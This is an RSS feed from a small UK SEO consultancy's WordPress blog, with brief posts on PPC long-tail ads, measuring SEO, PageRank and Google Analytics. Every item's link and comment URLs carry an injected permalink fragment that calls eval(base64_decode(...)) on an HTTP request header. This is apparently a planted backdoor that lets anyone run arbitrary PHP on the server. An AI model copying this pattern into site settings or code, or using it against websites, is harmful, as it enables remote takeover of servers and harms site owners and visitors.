<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>SEO Blog - Search Engine Consultants</title>
	<atom:link href="http://www.webrepairservices.co.uk/seoblog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.webrepairservices.co.uk/seoblog</link>
	<description>Optimising your web return ......</description>
	<lastBuildDate>Wed, 03 Feb 2010 18:27:24 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>Copyright &#xA9; Search Engine Consultants 2010 </copyright>
		<managingEditor>admin@webrepairservice.co.uk (SEO Blog - Search Engine Consultants)</managingEditor>
		<webMaster>admin@webrepairservice.co.uk (SEO Blog - Search Engine Consultants)</webMaster>
		<category>posts</category>
		<ttl>1440</ttl>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary>Optimising your web return ......</itunes:summary>
		<itunes:author>SEO Blog - Search Engine Consultants</itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name>SEO Blog - Search Engine Consultants</itunes:name>
			<itunes:email>admin@webrepairservice.co.uk</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://webrepairservices.co.uk/seoblog/wp-content/plugins/podpress/images/powered_by_podpress.jpg" />
		<image>
			<url>http://webrepairservices.co.uk/seoblog/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>SEO Blog - Search Engine Consultants</title>
			<link>http://www.webrepairservices.co.uk/seoblog</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Is the distinction between PPC,SEO and social media Fact or fantasy?</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2010/02/03/is-the-distinction-between-ppcseo-and-social-media-fact-or-fantasy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2010/02/03/is-the-distinction-between-ppcseo-and-social-media-fact-or-fantasy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 18:27:24 +0000</pubDate>
		<dc:creator>martyn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Cost per acquisition]]></category>
		<category><![CDATA[cpa]]></category>
		<category><![CDATA[digital agency]]></category>
		<category><![CDATA[PPC]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.webrepairservices.co.uk/seoblog/is-the-distinction-between-ppcseo-and-social-media-fact-or-fantasy.php</guid>
		<description><![CDATA[Having spoken at length to clients and generally to friends in the market I wonder whether we create false barriers between what are really iterations of the same routes to market? I have a suspicion that this is often done to perpetuate the (false?) belief that we can then keep the budgets separate, therefore enabling [...]]]></description>
			<content:encoded><![CDATA[<p>Having spoken at length to clients and generally to friends in the market I wonder whether we create false barriers between what are really iterations of the same routes to market? I have a suspicion that this is often done to perpetuate the (false?) belief that we can then keep the budgets separate, therefore enabling us (Agencies) to justify to those (clients) the often exhorbitant overheads associated with multiple, and often competing Agencies.<br />
It is also seems to me that the larger the organsiation, the more they seem to kowtow to the beliefs that these are distinctly different streams, requiring entirely different skills. However just glancing at Googles Quality Score should tell us that Google is expecting convergence of these streams sooner rather than later.<br />
I look forward to comments.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2010/02/03/is-the-distinction-between-ppcseo-and-social-media-fact-or-fantasy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is the SEO Emperor not actually not wearing any clothes?</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2010/01/28/is-the-seo-emperor-not-actually-not-wearing-any-clothes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2010/01/28/is-the-seo-emperor-not-actually-not-wearing-any-clothes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 22:37:42 +0000</pubDate>
		<dc:creator>martyn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[digital conversion]]></category>
		<category><![CDATA[retail conversion]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.webrepairservices.co.uk/seoblog/is-the-seo-emperor-not-actually-not-wearing-any-clothes.php</guid>
		<description><![CDATA[I was asked to reply yesterday on Linkedin about how to get hard phrases high. I was just about to give loads of (mainly) useful advice when I started to think that this has always been one of those oddities. why do we care about broad generic phrases that are likely to drive loads of [...]]]></description>
			<content:encoded><![CDATA[<p>I was asked to reply yesterday on Linkedin about how to get hard phrases high. I was just about to give loads of (mainly) useful advice when I started to think that this has always been one of those oddities. why do we care about broad generic phrases that are likely to drive loads of (largely) irrelevent traffic to a clients site, with the likelihood of conversion set into the .000000something% which then seems to sound accetoabel as the &#8216;norm&#8217; for the industry. </p>
<p>Isn&#8217;t this just perpetuating the widely held view that SEO is largely irreverent and doesn&#8217;t want to particpate in the true game&#8230;..of adding value to your client by actually achieiving something of value-REVENUE, AND ENQUIRY OR BETTER STILL PROFIT. Is it me or is the emporer not wearing any clothes?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2010/01/28/is-the-seo-emperor-not-actually-not-wearing-any-clothes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome to a New Year of SEO</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2010/01/26/welcome-to-a-new-year-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2010/01/26/welcome-to-a-new-year-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:01:09 +0000</pubDate>
		<dc:creator>martyn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[search engine consultants]]></category>
		<category><![CDATA[search engine optimisation]]></category>
		<category><![CDATA[sem]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.webrepairservices.co.uk/seoblog/welcome-to-a-new-year-of-seo.php</guid>
		<description><![CDATA[I have often thought that this media in which all &#8216;new Media&#8217; companies play is often misquoted and misunderstood. We are in quite possibly the easiest marketing environment to measure and yet, how do you measure the success of something like SEO? 
Personally i believe this to a broken or at the very least an [...]]]></description>
			<content:encoded><![CDATA[<p>I have often thought that this media in which all &#8216;new Media&#8217; companies play is often misquoted and misunderstood. We are in quite possibly the easiest marketing environment to measure and yet, how do you measure the success of something like SEO? </p>
<p>Personally i believe this to a broken or at the very least an unfinished process, after all if your only measurement is that of counting the position on a search engine, whilst ignoring that all our customers are actually desparate for something more measureable and identified as something related to their bottom line, then it it must be mustn&#8217;t it?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2010/01/26/welcome-to-a-new-year-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Page rank and traffic correlation?</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/11/09/page-rank-and-traffic-correlation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/11/09/page-rank-and-traffic-correlation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 16:29:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.webrepairservices.co.uk/seoblog/page-rank-and-traffic-correlation.php</guid>
		<description><![CDATA[Does having a high page rank mean you will get the traffic it deserves?  The simple answer is no.  I can have a high page rank and hardly any visits.  I could have high page rank, top adsense optimisation, with little traffic and make no money on my site.
A goal of your site [...]]]></description>
			<content:encoded><![CDATA[<p>Does having a high page rank mean you will get the traffic it deserves?  The simple answer is no.  I can have a high page rank and hardly any visits.  I could have high page rank, <a href="http://www.magic-fountain.co.uk/marketingblog/4_11-little-known-killer-adsense-tips-you-wish-you-knew-earlier.php">top adsense optimisation</a>, with little traffic and make no money on my site.</p>
<p>A goal of your site shouldnt be to get high page rank.  Infact, a goal should be to get good traffic.  In turn, you will find that page rank will follow due to people linking to your <strong>interesting</strong> content.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/11/09/page-rank-and-traffic-correlation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WRS Podcasting</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/07/30/wrs-podcasting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/07/30/wrs-podcasting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 30 Jul 2007 15:10:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=15</guid>
		<description><![CDATA[This is an example podcasting post.  Podcasts coming soon.
]]></description>
			<content:encoded><![CDATA[<p>This is an example podcasting post.  Podcasts coming soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/07/30/wrs-podcasting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<enclosure url="http://www.webrepairservices.co.uk/seoblog/wp-content/uploads/intro001.mp3" length="195284" type="audio/mpeg"/>
<itunes:duration>0:12</itunes:duration>
		<itunes:subtitle>This is an example podcasting post.nbsp; Podcasts coming soon. </itunes:subtitle>
		<itunes:summary>This is an example podcasting post.nbsp; Podcasts coming soon.</itunes:summary>
		<itunes:keywords>Uncategorized</itunes:keywords>
		<itunes:author>admin@webrepairservice.co.uk</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>PPC Tip &#8211; Improve ROI with Long Tail Ads</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/07/08/ppc-tip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/07/08/ppc-tip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jul 2007 12:54:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PPC]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=14</guid>
		<description><![CDATA[This one will help you improve your ROI by a significant amount. 
When researching your key phrases, use a similar principle to the normal SEO long tail technique. Instead of just trying to get the generic phrases and a few items or statements, produce a list of longer tail phrases and write an ad specifically for the phrase.
Example: [...]]]></description>
			<content:encoded><![CDATA[<p>This one will help you improve your <a title="ROI" href="http://www.webrepairservices.co.uk/seo-glossary.php#ROI">ROI</a> by a significant amount. </p>
<p>When researching your key phrases, use a similar principle to the normal SEO long tail technique. Instead of just trying to get the generic phrases and a few items or statements, produce a list of longer tail phrases and write an ad specifically for the phrase.</p>
<p>Example: generic phrases &#8211; &#8216;holiday cottages&#8217;, &#8216;uk cottage holidays&#8217;, &#8217;self catering&#8217;<br />
  long tail phrases &#8211; &#8216;holiday cottages north wales&#8217;, &#8216;4 star uk cottage holidays&#8217;, &#8217;self catering holiday cottages uk&#8217;</p>
<p>If we take the long tail phrases and make them an ad group each, using the above example this would give us 3 ad groups. Eventhough it would be possible to write an ad that would cover all 3 long tail phrases, this is laziness and will reduce your effectiveness and ultimately your ROI.</p>
<p>The best way is to take the phrase and write your ad variations for the phrase. Initially this is much more work than just throwing some ads up but it will pay off.</p>
<p>The general rule is to use the key phrase in the 1st line of the ad, then use lines 2 and 3 for the call to action, in long tail <a title="PPC" href="http://www.webrepairservices.co.uk/seo-glossary.php#ppc">PPC</a> work you can&#8217;t always get all the phrase in the 1st line. One of the methods I use is to make it read like a short sentence. Doing this means that if you get in the central shaded section just above the natural listings, these ads are displayed horizontaly and then your ad will be very strong.</p>
<p>Example ad for the phrase &#8216;holiday cottages north wales&#8217;</p>
<p>Holiday Cottages<br />
North Wales Self Catering<br />
4 Star, heated indoor pool<br />
 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/07/08/ppc-tip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google Analytics &#8211; Verdict</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/06/24/google-analytics-verdict/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/06/24/google-analytics-verdict/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 24 Jun 2007 15:33:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google info]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=13</guid>
		<description><![CDATA[Having used this tool now for a few weeks, I am overall very impressed with it. It certainly offers some fantastic features to the user. A paid tool would be shamed at the depth of this system.
I particularly like the timeline comparrison which is so easy to set up and manipulate. It can show in [...]]]></description>
			<content:encoded><![CDATA[<p>Having used this tool now for a few weeks, I am overall very impressed with it. It certainly offers some fantastic features to the user. A paid tool would be shamed at the depth of this system.</p>
<p>I particularly like the timeline comparrison which is so easy to set up and manipulate. It can show in an instant how the sites have been fairing, improvements are then easily highlighted for customer reports. The option I like is the calendar for the dates but then I use the timeline tab to slide the date block backwards to a different time period. Very easy and very effective for customers.</p>
<p>They have moved the settings around and when I first started to use the tool it looked like it was a much reduced version that had been boosted by graphics. what they have done is made it more iterative. So when you start looking at the stats, the questions asked and the info found can be followed along by adjusting the drop down sections in the centre of the screen. This is as opposed to having to drill down by using the right menu in the first place from a selection of many and then clicking into things that were not obvious &#8216;clickable&#8217; options.</p>
<p>The useability is a massive improvement on the previous version. The way you can export to pdf then print is very quick and easy.</p>
<p>Anyone looking to &#8216;buy&#8217; a new analytics package should take a look at this first. If you are looking to use a tool to help with your &#8216;<a title="search engine rankings" href="http://www.webrepairservices.co.uk/seo/search-engine-rankings.php">search engine rankings</a>&#8216; then this can provide the golden nuggets for you to work on. Getting the right phrases with this tool is easy.</p>
<p>Well done Google Analytics team.</p>
<p> </p>
<p><a href="http://technorati.com/faves?sub=addfavbtn&#038;add=http://webrepairservices.co.uk/seoblog"><img alt="Add to Technorati Favorites" src="http://static.technorati.com/pix/fave/tech-fav-1.png" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/06/24/google-analytics-verdict/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Analytics New Dashboard</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/05/14/google-analytics-new-dashboard/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/05/14/google-analytics-new-dashboard/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 14 May 2007 00:42:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google info]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=12</guid>
		<description><![CDATA[Google have now amended their dashboard on the analytics. This is a totally new structure giving an easy on the eye approach. So far it looks good, but how good is it? Time will tell.
]]></description>
			<content:encoded><![CDATA[<p>Google have now amended their dashboard on the analytics. This is a totally new structure giving an easy on the eye approach. So far it looks good, but how good is it? Time will tell.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/05/14/google-analytics-new-dashboard/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Adwords Webmaster Section</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/05/09/new-adwords-webmaster-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/05/09/new-adwords-webmaster-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 08 May 2007 23:28:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google info]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=11</guid>
		<description><![CDATA[Google are continuing their work with Adwords. There is a new section which allows you to test out varies page settings and different layout options. You will a little bit of coding knowledge and naturally the access to the site to be able to get this to work. For people who just look after adwords [...]]]></description>
			<content:encoded><![CDATA[<p>Google are continuing their work with Adwords. There is a new section which allows you to test out varies page settings and different layout options. You will a little bit of coding knowledge and naturally the access to the site to be able to get this to work. For people who just look after adwords accounts through a client centre this will not work as you have to be logged into the account for the url directly.</p>
<p>The feature will allow you to set tags up in the source code of your pages and these are place holders for the adwords system to place various defined tags and images. You may have an image of a person as opposed to the actual product you are selling and you can monitor your experiment through the adwords.</p>
<p>I have not gone into much depth here as it is fully covered in the Google adwords setup.</p>
<p>This is a great addition to the adwords world but you will need knowledge and the access to the account other than through the client centre.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/05/09/new-adwords-webmaster-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Webmaster tools</title>
		<link>http://www.webrepairservices.co.uk/seoblog/2007/03/07/webmaster-tools/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.webrepairservices.co.uk/seoblog/2007/03/07/webmaster-tools/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Mar 2007 00:40:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google info]]></category>

		<guid isPermaLink="false">http://webrepairservices.co.uk/seoblog/?p=10</guid>
		<description><![CDATA[The webmaster tools on Google have been undergoing some heavy development, the latest addition being the back links counter. This section of Google has had some great little features added to it and should be used regularly for monitoring the progress of your site.
https://www.google.com/webmasters/tools/
 
]]></description>
			<content:encoded><![CDATA[<p>The webmaster tools on Google have been undergoing some heavy development, the latest addition being the back links counter. This section of Google has had some great little features added to it and should be used regularly for monitoring the progress of your site.</p>
<p><a href="https://www.google.com/webmasters/tools/">https://www.google.com/webmasters/tools/</a></p>
<p> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.webrepairservices.co.uk/seoblog/2007/03/07/webmaster-tools/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
